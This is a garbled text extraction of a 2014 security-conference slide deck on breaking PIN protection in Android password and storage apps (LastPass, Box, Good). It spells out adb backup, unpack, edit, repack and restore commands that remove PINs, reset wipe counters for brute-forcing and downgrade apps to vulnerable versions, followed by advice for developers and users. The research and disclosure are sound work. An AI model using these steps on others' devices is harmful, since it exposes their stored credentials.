  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 55: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 56: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

